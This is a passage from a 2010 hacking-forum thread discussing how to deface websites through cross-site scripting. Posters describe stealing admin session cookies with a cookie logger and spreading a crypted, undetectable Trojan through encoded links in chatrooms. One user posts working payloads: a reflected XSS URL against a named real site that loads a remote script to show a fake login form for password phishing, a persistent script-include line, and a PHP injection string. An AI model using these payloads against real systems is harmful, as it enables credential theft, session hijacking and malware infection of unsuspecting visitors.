Huh, Sorry if this is a retarded question, But with XXS don't you have to get the admin to go on the link and hijack his session to deface?
(Mar 9, 2010 01:50 PM)shuks Wrote: I have a question. Im not an xss expert but if you insert the following code into the search field...
<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">
correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?
Is there something I'm missing??? Yeah this is exactly what im thinking :| Textbox Injection isn't permenant. The idea of it is to add a Hex code to the url which auto fills searchbox with redirect code. then get the admin to visit your link then it loggs his session cookie.
DO NOT DEAL WITH THIS MEMBER
Can the author of this thread please clarify...
someone wrote --> Quote:But that means, that, if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?
and vince responded "yes".
However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.
Can the author of this thread please clarify...
VipVince had to leave and wont be back online until tomorrow morning, than he will answer remaining questions sorry for the inconvenience
(Mar 9, 2010 02:02 PM)shuks Wrote: Can the author of this thread please clarify...
someone wrote -->
and vince responded "yes".
However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.
Can the author of this thread please clarify... Same thing I was thinking. Now I'm pretty puzzled.
(Mar 9, 2010 02:02 PM)shuks Wrote: Can the author of this thread please clarify...
someone wrote -->
and vince responded "yes".
However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.
Can the author of this thread please clarify... your 100% right unless vince is talking about somthing none of us understand.
I hav exactly the same question .... how can it be so easy
i mean ,,, how can it be
it could be just a temporary inject ; u refreshed the browser nd "phew" ...
*(NO OFFENSE VIP BRO !)
DO NOT DEAL WITH THIS MEMBER
(Mar 9, 2010 01:20 PM)VipVince Wrote: actually visiting my cookie logger and giving me their cookie.
you sound hungry 🤐
and we are still waiting for him ....
Nice tutorial,thanks for sharing it^^
very nice tut man great job
Ok firstly there is 3 types of XSS attacks regarding defacing, they are persistent, non persistent and dom based, I will explain two.
Firstly persistent means an attacker can inject a script on the website and this is stored permanently on the server/webpage. it will appear permanently for everyone aka a deface. Non persistent is basically the opposite to this, it means it is just viewable for the attacker and no one else, it will disappear after a page refresh, For the people asking ‘can it be that easy’, if the site has a persistent xss security flaw then yes, its as easy as injecting the deface script once and that will then be stored permanently on the server/page creating a legitimate deface.
The possibilities of what you can do with xss are endless, you can redirect to an uploaded cookie logger, you can redirect the site to a server sided Trojan uploaded on your webhosting server, I mean if you crypt a Trojan have it FUD and go onto a chatroom and give a encoded URL out along with a believable ‘this is my video’ or whatever false claim you want to make, imagine the amount of victims you could pick up, use your imagination, it extends a lot further than a simplistic deface.
(Mar 9, 2010 01:50 PM)shuks Wrote: I have a question. Im not an xss expert but if you insert the following code into the search field...
<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">
correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?
Is there something I'm missing???
There's only one typical way I can think of- that's when XSS'ing form fields that will be checked by admins in admin areas. We input the malicious script in our side but it's carried out only when they view their side of the situation- completing the transaction... I have tried and tried and tried to "permanently" inject through like search fields but it just doesn't work like that- if it did, then you'd be able to inject not only html but php as well (like whole shells)...
or php commands:
Code ";//\";//--></SCRIPT>">'><?php $homedir=getcwd(); echo "<b><p align='left'>Home:</b> <u>$homedir</u></p>" ?>
The whole internet would get owned if it were really that easy...
Better methods with XSS would be to skip the cookie hijacking as it only works on versions of firefox 2.0 and under, and it can be a real pain in the ass to set it all up correctly...
Few other methods though, some of my favs that is- using JS & AJAX to post and get actions... now that's some fun.
Or another example, full in browser page takeovers, great for fishing some passwords... like this here divxstage.net example: Code http://divxstage.net/search.php?s=';//\';//";//\";//--></SCRIPT>">'><SCRIPT SRC=http://googles-on-us.com/shyf3/xss.js></SCRIPT>--&search.x=25&search.y=17&q=5
It has my login form, which could be made to look official- record all info, redirect to an official page afterwards.... but notice how the URL address remains at divxstage.net and not redirecting you to another site? XSS can be nice...
Now that were talking Persistent and Non-persistent, I get fully what ya mean.. If it's persistent- just set up a script like in my example for divxstage.net and include the:
Code <SCRIPT SRC=http://yourhost.com/script.js></SCRIPT>
as your persistent- then everyone will be required to login on that page, I usually post it on the 1st page and have it redirect to the 2nd page afterwards- no one ever catches it..
(Mar 10, 2010 05:29 AM)shyf3 Wrote: There's only one typical way I can think of- that's when XSS'ing form fields that will be checked by admins in admin areas. We input the malicious script in our side but it's carried out only when they view their side of the situation- completing the transaction... I have tried and tried and tried to "permanently" inject through like search fields but it just doesn't work like that- if it did, then you'd be able to inject not only html but php as well (like whole shells)...
or php commands:
Code ";//\";//--></SCRIPT>">'><?php $homedir=getcwd(); echo "<b><p align='left'>Home:</b> <u>$homedir</u></p>" ?>
The whole internet would get owned if it were really that easy...
Better methods with XSS would be to skip the cookie hijacking as it only works on versions of firefox 2.0 and under, and it can be a real pain in the ass to set it all up correctly...
Few other methods though, some of my favs that is- using JS & AJAX to post and get actions... now that's some fun.
Or another example, full in browser page takeovers, great for fishing some passwords... like this here divxstage.net example:Code http://divxstage.net/search.php?s=';//\';//";//\";//--></SCRIPT>">'><SCRIPT SRC=http://googles-on-us.com/shyf3/xss.js></SCRIPT>--&search.x=25&search.y=17&q=5
It has my login form, which could be made to look official- record all info, redirect to an official page afterwards.... but notice how the URL address remains at divxstage.net and not redirecting you to another site? XSS can be nice...
Now that were talking Persistent and Non-persistent, I get fully what ya mean.. If it's persistent- just set up a script like in my example for divxstage.net and include the:
Code <SCRIPT SRC=http://yourhost.com/script.js></SCRIPT>
Yes, I refrained from talking about phishing as its a no go on the forums.
thinks brother , this is a nice exploit xss , ^^
Bookmarked! An excellent reference point and awesome tut :)
|
